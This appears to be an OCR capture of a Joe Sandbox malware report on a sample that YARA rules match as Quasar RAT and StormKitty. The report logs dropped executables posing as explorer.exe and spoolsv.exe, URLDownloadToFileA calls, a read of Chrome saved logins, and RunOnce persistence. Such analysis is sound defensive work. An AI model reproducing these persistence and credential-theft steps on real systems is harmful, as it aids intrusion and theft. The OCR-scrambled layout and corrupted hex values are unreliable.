C:\Users\user\AppData\Local\Microsoft\Windows\Caches  read data or list  device directory file | object name collision 1 66051D33 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user\AppData\Local\icsys.icn.exe

c:\users\user\desktop\lg3gn9ylcj.exe

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\~DF01383C41703FF854.TMP

File Written

File Path Offset
C:\Users\user\AppData\Local\ic 0
sys.icn.exe

C:\Users\user\Desktop\lg3gn9ylcj.exe 0

File Read

File Path

C:\Users\user\Desktop\Lg3gn9y1Cj.exe
C:\Users\desktop.ini

C:\Users\user\Desktop\desktop.ini

Copyright Joe Security LLC 2022

Access Attributes Options
read attributes |  device synchronous io
synchronize | non alert | non
generic write directory file
read attributes |  device synchronous io
synchronize | non alert | non
generic write directory file
Length Value Ascii
4096 4d 5afd 00 03000000 MZ@!L!This program

4096

04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 fd 31
6d fd fd 50 03 fd fd 50 03
fd fd 50 03 fd 7a 4c 0d fd
fd 50 03 fd fd 4f Oa fd fd
50 03 fd 10 4f Oe fd fd 50
03 fd 52 69 63 68 fd 50
03 fd 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
04 00 fd fd fd 4d 00 00 00
00 00 00 00 00 fd 00 Of
01 0b 01 06 00 00 fd 02
00 00 30 00 00 00 00 00
00 70 36 00 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 10 00
00 04 00 00 00 01 00 00

4d 5a fd 00 03 00 00 00
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 05 60
fd 41 fd 88 41 fd 88 41 fd
88 b4 fd fd 40 fd 88 28 fd
c8 42 fd 88 fd fd c8 40 fd
88 52 69 63 68 41 fd 88
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
50 45 00 00 4c 01 03 00
2f fd fd 62 00 00 00 00 00
00 00 00 fd 00 Of 01 Ob
01 06 00 00 fd 01 00 00
20 00 00 00 00 00 00 fd
19 00 00 00 10 00 00 00
fd 01 00 00 00 40

Offset
unknown
unknown

unknown

cannot be run in DOS
mode.$1mPPPzLPOPOP
RichPPELMOp6@

MZ@!L!This program
cannot be run in DOS

mode.$AAA@ (B@RichA
PEL/b @
Length
21
176
284

Completion

success or wait

success or wait

Completion

success or wait

Completion

success or wait

success or wait

Completion
success or wait
success or wait

success or wait

Count Source Address

1 660ED258

2 660ED258

Count Source Address

1 660C241E

Count Source Address

69 660ED8F8

33 660ED8F8

Count Source Address

105 660ED50F
1 66051D33
1 66051D33

Symbol

CreateFileA

CreateFileA

Symbol

unknown

Symbol

WriteFile

WriteFile

Symbol
ReadFile
unknown

unknown
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File Path
C:\Users\user\Documents\desktop.ini
C:\Users\user\Music\desktop.ini
C:\Users\user\Pictures\desktop.ini
C:\Users\user\Videos\desktop.ini
C:\Users\user\Downloads\desktop.ini

C:\Program Files (x86)\desktop.ini

Registry Activities

Analysis Process: lg3gn9yicj.exe

General

Target ID: 1

Start time: 09:09:09

Start date: 05/08/2022

Path: C:\Users\user\Desktop\lg3gn9ylcj.exe

Wow64 process (32bit): true

Commandline:

c:\users\user\desktop\lg3gn9ylcj.exe

Offset Length Completion Count Source Address
unknown 404 success or wait 1 66051D33
unknown 506 success or wait 1 66051D33
unknown 506 success or wait 1 66051D33
unknown 506 success or wait 1 66051D33
unknown 284 success or wait 1 66051D33
unknown 176 success or wait 1 66051D33

PID: 4392, Parent PID: 5744

Imagebase: 0x400000

File size: 135168 bytes

MDS5 hash: BEE47439C4960E2728594ECE9AD95BA7

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: Visual Basic

Yara matches: e Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source:

Antivirus matches:

Reputation: low

File Activities

00000001.00000002.535235845.0000000002B42000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
00000001.00000002.535235845.0000000002B42000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source:
00000001.00000002.535235845.0000000002B42000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000001.00000002.535235845.0000000002B42000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source:
00000001.00000003.266417604.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
00000001.00000003.266417604.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source:
00000001.00000003.266417604.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000001.00000003.266417604.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Rule: MALWARE_Win_A310Logger, Description: Detects A310Logger, Source: C:\Users\user\Desktop\lg3gn9y1cj.exe , Author: ditekSHen

Detection: 100%, Avira

Detection: 100%, Joe Sandbox ML
Detection: 26%, Metadefender, Browse
Detection: 92%, ReversingLabs

File Created
File Path Access Attributes Options Completion Count Source Address
C:\Users\user\AppData\Local\Microsoft\Windows\Caches  read data or list  device directory file | object name collision 1 66051D33
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Read
File Path Offset Length Completion Count Source Address
C:\Users\desktop.ini unknown 176 success or wait 1 66051D33
C:\Users\user\Desktop\desktop.ini unknown 284 success or wait 1 66051D33
C:\Users\user\Documents\desktop.ini unknown 404 success or wait 1 66051D33
C:\Users\user\Music\desktop.ini unknown 506 success or wait 1 66051D33
C:\Users\user\Pictures\desktop.ini unknown 506 success or wait 1 66051D33
C:\Users\user\Videos\desktop.ini unknown 506 success or wait 1 66051D33
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Symbol

unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

Symbol

unknown
unknown
unknown
unknown
unknown

unknown
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https://www.metadefender.com/#!/results/file/bzIyMDcxNkxiLVF1LWJYVlhvY0pkWXVObnU/regular/analysis

File Path

C:\Users\user\Downloads\desktop.ini

Offset

unknown

Analysis Process: Applaunch.exe PID: 5840, Parent PID: 4392

General

Target ID: 2

Start time: 09:09:11
Start date: 05/08/2022
Path:

Wow64 process (32bit): true

Commandline:

Imagebase: 0x980000

File size: 98912 bytes

MDS5 hash: 6807F903ACO6FF7E1670181378690B22
Has elevated privileges: true

Has administrator true

privileges:
Programmed in: .Net C# or VB.NET

Yara matches:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\AppLaunch.exe

C:\Windows\Microsoft. NET\Framework\v4.0.30319\AppLaunch.exe

e Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source:

Length

284

Completion

success or wait

Count Source Address

1 66051D33

00000002.00000000.265995360.0000000005322000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
e Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
00000002.00000000.265995360.0000000005322000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source:
00000002.00000000.265995360.0000000005322000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000002.00000000.265995360.0000000005322000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000002.00000002.277724010.000000000733B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000002.00000002.277673083.00000000072F3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Local\Mi

crosoft\CLR_v4.0_32\Usagelogs\AppLaunch.exe.log

File Written

File Path Offset Length
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Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

Value

Attributes

device

device

device

Ascii

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Completion

object name collision

object name collision

success or wait

Completion

Count Source Address

1 6CF2CF06
1 6CF2CF06
1 6D23C78D

Count Source Address

Symbol

unknown

Symbol

unknown

unknown

CreateFileW

Symbol
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File Path Offset

C:\Users\user\AppData\Local\Mi 0
crosoft\CLR_v4.0_32\UsagelLogs\
AppLaunch.exe.log

File Read
File Path

Length Value

1036

31 2c 22 66 75 73 69 6f
6e 22 2¢ 22 47 41 43 22
2c¢ 30 0d 0a 31 2¢ 22 57
69 6e 52 54 22 2c 22 4e
6f 74 417070 22 2¢ 31
0d 0a 32 2¢ 225379 73
74 65 6d 2e 4d 61 6e 61
67 65 6d 65 6e 74 2¢c 20
56 65 72 73 69 6f 6e 3d
34 2e 30 2e 30 2e 30 2¢
2043 756¢ 747572 65
3d 6e 65 75 74 72 61 6¢
2¢ 20 50 75 62 6¢ 69 63
4b 65 79 54 6f 6b 65 6e
3d 62 30 33 66 35 66 37
66 31 31 64 35 30 61 33
61 22 2¢ 30 0d Oa 33 2¢c
225379737465 6d2c
20 56 65 72 73 69 6f 6e
3d 34 2e 30 2e 30 2e 30
2c2043756¢ 747572
65 3d 6e 65 75 74 72 61
6¢ 2¢ 20 50 75 62 6C 69
63 4b 65 79 54 6f 6b 65
6e 3d 62 37 37 61 35 63
3536 31 39 33 34 65 30
38 39 22 2¢ 22 43 3a 5¢
57 69 6e 64 6f 77 73 5¢
61 73 73 65 6d 62 6¢C 79
5c 4e 61 74 69 76 65 49
6d 61 67 65 73 5f 76 34
2e302e 33303331

Offset

unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\applaunch.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\applaunch.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\applaunch.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\applaunch.exe.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe.config

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login
Data

Registry Activities

unknown
unknown
unknown

unknown

unknown
unknown
unknown

unknown

unknown
unknown

unknown

unknown

unknown

unknown
unknown
unknown
unknown
unknown
unknown

unknown

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Key Path Name

Type
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Data

Ascii

1,"fusion","GAC",01,"Win
RT","N
otApp",12,"System.Mana
gement, Version=4.0.0.0,
Culture=neutral,
PublicKeyToken=b03f5f7f
11d50a3a",03,"System,
Version=4.0.0.0,
Culture=neutral, PublicK
eyToken=b77a5c561934
€089","C:\
Windows\assembly\Nativ
elmages_v4.0.3031

Completion

success or wait

Length Completion
4095 success or wait
8173 end of file
4095 success or wait
6135 success or wait
176 success or wait
4095 success or wait
8173 end of file
4095 success or wait
620 success or wait
4095 success or wait
8173 end of file

864 success or wait
900 success or wait
748 success or wait
4095 success or wait
8171 end of file
4096 success or wait
4096 end of file
4096 success or wait
4096 end of file
40960 success or wait

Completion

Completion

Count Source Address

1 6D23C907

Count Source Address

1 6CF05705
1 6CF05705
1 6CF05705
1 6CF05705
1 6CEGO3DE
1 6CFOCA54
1 6CFOCA54
1 6CFOCA54
1 6CEGO3DE
1 6CF05705
1 6CF05705
1 6CEGO3DE
1 6CEGO3DE
1 6CEGO3DE
1 6CF05705
1 6CF05705
1 6BD71B4F
1 6BD71B4F
1 6BD71B4F
1 6BD71B4F
1 6BD71B4F

Count Source Address

Count Source Address

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

unknown
unknown

ReadFile

ReadFile

ReadFile

unknown
unknown
ReadFile
ReadFile
ReadFile
ReadFile

ReadFile

Symbol

Symbol
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Analysis Process: icsys.icn.exe PID: 5032, Parent PID: 5744

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Antivirus matches:

Reputation:

File Activities

4
09:09:12

05/08/2022
C:\Users\user\AppData\Local\icsys.icn.exe
true
C:\Users\user\AppData\Local\icsys.icn.exe
0x400000

280890 bytes
4223968DA579570E05813854A134397B
true

true

Visual Basic

e Detection: 100%, Avira
e Detection: 100%, Joe Sandbox ML

low

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Caches  read data or list  device directory file | object name collision 1 66051D33 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
c:\windows\system\explorer.exe read attributes |  device synchronous io  success or wait 2 660ED258 CreateFileA
synchronize | non alert | non
generic read directory file
File Deleted
File Path Completion Count Source Address Symbol
C:\Windows\System\explorer.exe success or wait 1 660ECD92 DeleteFileA
C:\Users\user\AppData\Local\Temp\~DF5EF9070E9B8F5CB4.TMP success or wait 1 660C241E unknown
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Windows\System\explorer.exe 0 4096 4d 5afd 00 03000000 MZ@!L!This program success or wait 185 660ED8F8 WriteFile
04 00 00 00 fd fd 00 00 fd = cannot be run in DOS
00 00 00 00 00 00 00 40  mode.$1MPPPzLPOPOP
00 00 00 00 00 00 00 00 ' RichPPELMOp6@

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 fd 31
6d fd fd 50 03 fd fd 50 03
fd fd 50 03 fd 7a 4c 0d fd
fd 50 03 fd fd 4f Oa fd fd
50 03 fd 10 4f Oe fd fd 50
03 fd 52 69 63 68 fd 50
03 fd 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
04 00 fd fd fd 4d 00 00 00
00 00 00 00 00 fd 00 Of
01 0b 01 06 00 00 fd 02
00 00 30 00 00 00 00 00
00 70 36 00 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 10 00
00 04 00 00 00 01 00 00
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File Read

File Path Offset
C:\Users\user\AppData\Local\icsys.icn.exe unknown
C:\Users\desktop.ini unknown
C:\Users\user\Desktop\desktop.ini unknown
C:\Users\user\Documents\desktop.ini unknown
C:\Users\user\Music\desktop.ini unknown
C:\Users\user\Pictures\desktop.ini unknown
C:\Users\user\Videos\desktop.ini unknown
C:\Users\user\Downloads\desktop.ini unknown
C:\Program Files (x86)\desktop.ini unknown
Analysis Process: explorer.exe PID: 5300, Parent PID: 5032
General
Target ID: 5
Start time: 09:09:14
Start date: 05/08/2022
Path: C:\Windows\System\explorer.exe
Wow64 process (32bit): true
Commandline: c:\windows\system\explorer.exe
Imagebase: 0x400000
File size: 281083 bytes
MD5 hash: A6F18E47BFFD6F5C4AA28B67644DBDBE
Has elevated privileges: true
Has administrator true
privileges:
Programmed in: Visual Basic
Antivirus matches: e Detection: 100%, Avira
e Detection: 100%, Joe Sandbox ML
Reputation: low
File Activities
File Created
File Path Access Attributes
C:\Users\user\AppData\Local\Microsoft\Windows\Caches  read data or list ~ device
directory |
synchronize
c:\windows\system\spoolsv.exe read attributes |  device
synchronize |
generic read
C:\Users\user\AppData\Roaming\mrsys.exe read attributes |  device
synchronize |
generic read
C:\Windows\system\cmsys.cmn read attributes |  device
synchronize |
generic write
C:\Windows\system\cmsys.cmn read attributes |  device

File Deleted

File Path

synchronize |
generic write

C:\Windows\System\spoolsv.exe

C:\Users\user\AppData\Roaming\mrsys.exe

C:\Windows\System\cmsys.cmn

File Written

File Path

Offset Length Value Ascii
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Length
21

176
284
404
506
506
506
284
176

Options

directory file |
synchronous io

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

object name collision

non alert | open
for backup ident

| open reparse
point

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

success or wait

success or wait

success or wait

success or wait

Completion
success or wait
success or wait

success or wait

Completion

Count Source Address

65 660ED50F

1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33
1 66051D33

Count Source Address

1 66051D33
2 660ED258
2 660ED258
1 41E7F2
5 41E7F2

Count Source Address

1 660ECD92
1 660ECD92
7 660ECD92

Count Source Address

Symbol

ReadFile
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

CreateFileA

CreateFileA

URLDownloa
dToFileA

URLDownloa
dToFileA

Symbol
DeleteFileA
DeleteFileA

DeleteFileA

Symbol
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File Path Offset Length Value Ascii Completion Count Source Address Symbol

C:\Windows\System\spoolsv.exe 0 4096 4d 5afd 00 03000000 MZ@!L!This program success or wait 185 660ED8F8 WriteFile
04 00 00 00 fd fd 00 00 fd cannot be run in DOS
00 00 00 00 00 00 00 40  mode.$1MPPPzLPOPOP
00 00 00 00 00 00 00 00 ' RichPPELMOp6@

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 fd 31
6d fd fd 50 03 fd fd 50 03
fd fd 50 03 fd 7a 4c 0d fd
fd 50 03 fd fd 4f Oa fd fd
50 03 fd 10 4f Oe fd fd 50
03 fd 52 69 63 68 fd 50
03 fd 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
04 00 fd fd fd 4d 00 00 00
00 00 00 00 00 fd 00 Of
01 0b 01 06 00 00 fd 02
00 00 30 00 00 00 00 00
00 70 36 00 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 10 00

00 04 00 00 00 01 00 00
C:\Users\user\AppData\Roaming\ 0 4096 4d 5afd 0003000000 MZ@!L!This program success or wait 185 660ED8F8 WriteFile
mrsys.exe 04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40 ' mode.$1MPPPzLPOPOP
00 00 00 00 00 00 00 00 ' RichPPELMOp6@
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 fd 31
6d fd fd 50 03 fd fd 50 03
fd fd 50 03 fd 7a 4c 0d fd
fd 50 03 fd fd 4f Oa fd fd
50 03 fd 10 4f Oe fd fd 50
03 fd 52 69 63 68 fd 50
03 fd 00 00 00 00 00 00
00 00 50 45 00 00 4c 01
04 00 fd fd fd 4d 00 00 00
00 00 00 00 00 fd 00 Of
01 0b 01 06 00 00 fd 02
00 00 30 00 00 00 00 00
00 70 36 00 00 00 10 00
00 00 fd 02 00 00 00 40
00 00 10 00 00 00 10 00
00 04 00 00 00 01 00 00
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\lE\C
S6IXJW6\what-happened-to-the-old-
zxg-website[1].htm

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\lE\C
S61XJW6\what-happened-to-the-old-
zxqg-website[1].htm

Copyright Joe Security LLC 2022

Offset

0

8935

Length Value

791

8192

3c 21 44 4f 43 54 59 50
45 20 68 74 6d 6¢ 3e Oa
3c 68 74 6d 6¢ 20 6¢ 61
6e 67 3d 22 65 6e 2d 55
53222063 6¢c617373
3d 22 73 2d 64 61 72 6b
207369 74 65 2d 73 2d
64 61 72 6b 22 3e 0a Oa
3c 68 65 61 64 3e Oa Oa
09 3c 6d 65 74 61 20 63
68 61 72 73 65 74 3d 22
55 54 46 2d 38 22 20 2f
3e 0a 09 3c 6d 65 74 61
20 6e 61 6d 65 3d 22 76
69 65 77 70 6f 72 74 22
20 63 6f 6e 74 65 6e 74
3d 22 77 69 64 74 68 3d
64 65 76 69 63 65 2d 77
69 64 74 68 2c 20 69 6e
69 74 69 61 6¢ 2d 73 63
61 6¢ 65 3d 31 22 20 2f
3e 0a 09 3c 6d 65 74 61
20 6e 61 6d 65 3d 27 72
6f 62 6f 74 73 27 20 63 6f
6e 74 65 6e 74 3d 27 69
6e 64 65 78 2c 20 66 6f
6¢ 6¢ 6f 77 2¢ 20 6d 61
78 2d 69 6d 61 67 65 2d
7072 6576 69 65 77 3a
6¢ 61 72 67 65 2c 20 6d
61 78 2d 73 6e 69 70 70
65 74 3a 2d 31 2c

6d 65 64 69 75 6d 3a 20
323070783b2d2d 77
70 2d 2d 70 72 65 73 65
74 2d 2d 66 6f 6e 74 2d
73 69 7a 65 2d 2d 6¢ 61
72 67 65 3a 20 33 36 70
78 3b 2d 2d 77 70 2d 2d
7072 65 73 65 74 2d 2d
66 6f 6e 74 2d 73 69 7a
65 2d 2d 78 2d 6¢ 61 72
67 65 322034327078
3b 7d 2e 68 61 73 2d 62
6c 61 63 6b 2d 63 6f 6¢
6f 72 7b 63 6f 6¢ 6f 72 3a
2076617228 2d2d 77
70 2d 2d 70 72 65 73 65
74 2d 2d 63 6f 6¢ 6f 72
2d 2d 62 6¢ 61 63 6b 29
202169 6d 70 6f 72 74
61 6e 74 3b 7d 2e 68 61
73 2d 63 79 61 6e 2d 62
6¢ 75 69 73 68 2d 67 72
61 79 2d 63 6f 6¢ 6f 72
7b 63 6f 6¢ 6f 72 3a 20
76 617228 2d 2d 77 70
2d 2d 70 72 65 73 65 74
2d 2d 63 6f 6¢ 6f 72 2d
2d 63 79 61 6e 2d 62 6¢
7569 73 68 2d 67 72 61
79 29 20 21 69 6d 70 6f
72 74 61 6e 74 3b 7d 2e
68 61 73 2d 77 68

Ascii Completion Count Source Address

<IDOCTYPE html><html
lang="en-US" class="s-
dark site-s-dark"><head>
<meta charset="UTF-8" /
><meta name="viewport"
content="width=device-
width, initial-scale=1" />
<meta name="robots’
content="index, follow,
max-image-
preview:large, max-
snippet:-1,

success or wait 1 41E7F2

medium: 20pXx;--wp-- success or wait 5 41E7F2
preset--font-size--large:
36px;--wp--preset--font-
size--x-large: 42px;}.has-
black-color{color: var(--
wp--preset--color--black)
limportant;}.has-cyan-
bluish-gray-color{color:
var(--wp--preset--color--
cyan-bluish-gray) limp
ortant;}.has-wh

Symbol

URLDownloadTo
FileA

URLDownloadTo
FileA
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File Path

C:\Windows\System\cmsys.cmn

C:\Windows\System\cmsys.cmn

Copyright Joe Security LLC 2022

Offset

0

32169

Length Value

32169

24117

3c 21 44 4f 43 54 59 50
45 20 68 74 6d 6¢ 3e Oa
3c 68 74 6d 6¢ 20 6¢ 61
6e 67 3d 22 65 6e 2d 55
532220636¢c617373
3d 22 73 2d 64 61 72 6b
207369 74 65 2d 73 2d
64 61 72 6b 22 3e 0a Oa
3c 68 65 61 64 3e Oa Oa
09 3c 6d 65 74 61 20 63
68 61 72 73 65 74 3d 22
55 54 46 2d 38 22 20 2f
3e 0a 09 3c 6d 65 74 61
20 6e 61 6d 65 3d 22 76
69 65 77 70 6f 72 74 22
20 63 6f 6e 74 65 6e 74
3d 22 77 69 64 74 68 3d
64 65 76 69 63 65 2d 77
69 64 74 68 2c 20 69 6e
69 74 69 61 6¢ 2d 73 63
61 6¢ 65 3d 31 22 20 2f
3e 0a 09 3c 6d 65 74 61
20 6e 61 6d 65 3d 27 72
6f 62 6f 74 73 27 20 63 6f
6e 74 65 6e 74 3d 27 69
6e 64 65 78 2c 20 66 6f
6¢ 6¢ 6f 77 2¢ 20 6d 61
78 2d 69 6d 61 67 65 2d
7072 6576 69 65 77 3a
6¢ 61 72 67 65 2c 20 6d
61 78 2d 73 6e 69 70 70
65 74 3a 2d 31 2¢

65 6¢ 3d 22 68 6f 6d 65
222063 6¢6173733d
22 6¢ 6f 67 6f 2d 6¢ 69
6e 6b 20 74 73 2d 6¢ 6f
67 6f 20 6¢ 6f 67 6f 2d 69
73 2d 69 6d 61 67 65 22
3e 0a 09 09 3c 73 70 61
6e 3e 0a 09 09 09 Oa 09
09 09 09 0a 09 09 09 09
09 3c 69 6d 67 20 73 72
633d 226874747073
3a 2f 2f 7a 78 71 2e 6e
65 74 2f 77 70 2d 63 6f
6e 74 65 6e 74 2f 75 70
6¢ 6f 61 64 73 2f 32 30
32 32 2f 30 32 2f 5a 58
51 2e 70 6e 67 22 20 63
6¢ 61 73 73 3d 22 6¢ 6f
67 6f 2d 69 6d 61 67 65
22 20 61 6¢ 74 3d 22 5a
58 51 22 20 77 69 64 74
68 3d 22 32 30 33 22 20
68 65 69 67 68 74 3d 22
36 36 22 2f 3e 0a 09 09
09 09 09 09 09 09 09 20
0a 09 09 09 09 09 3c 2f
7370 61 6e 3e 0a 09 3c
2f 61 3e 09 09 09 09 3¢
2f 64 69 76 3e Oa Oa 09
09 09 09 09 09 09 0a 09
09 09 09 3c 64 69 76 20
63 6¢ 61 73 73 3d

Ascii Completion Count Source Address

<IDOCTYPE html><html
lang="en-US" class="s-
dark site-s-dark"><head>
<meta charset="UTF-8" /
><meta name="viewport"
content="width=device-
width, initial-scale=1" />
<meta name="robots’
content="index, follow,
max-image-
preview:large, max-
snippet:-1,

success or wait 1 41E7F2

el="home" class="logo- success or wait 1 41E7F2
link ts-logo logo-is-

image"><span><img

src="https://zxq.net/wp-

conte

nt/uploads/2022/02/ZXQ.

png" class="logo-image"

alt="ZXQ" width="203"

height="66"/> </span>

</a></div><div class=

Symbol

URLDownloadTo
FileA

URLDownloadTo
FileA
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File Path Offset
C:\Windows\System\cmsys.cmn 0

File Read

File Path

C:\Windows\System\explorer.exe
C:\Users\desktop.ini
C:\Users\user\Desktop\desktop.ini
C:\Users\user\Documents\desktop.ini
C:\Users\user\Music\desktop.ini
C:\Users\user\Pictures\desktop.ini
C:\Users\user\Videos\desktop.ini
C:\Users\user\Downloads\desktop.ini
C:\Program Files (x86)\desktop.ini

C:\Windows\System\cmsys.cmn

Registry Activities
Key Created
Key Path

HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Active Setup\installed Components\{F146C

9B1-VMVQ-A9RC-NUFL-DOBAOOB4E999}

Key Value Created

Key Path Name

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Windows\C
urrentVersion\RunOnce

Explorer

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Windows\C
urrentVersion\RunOnce

Svchost

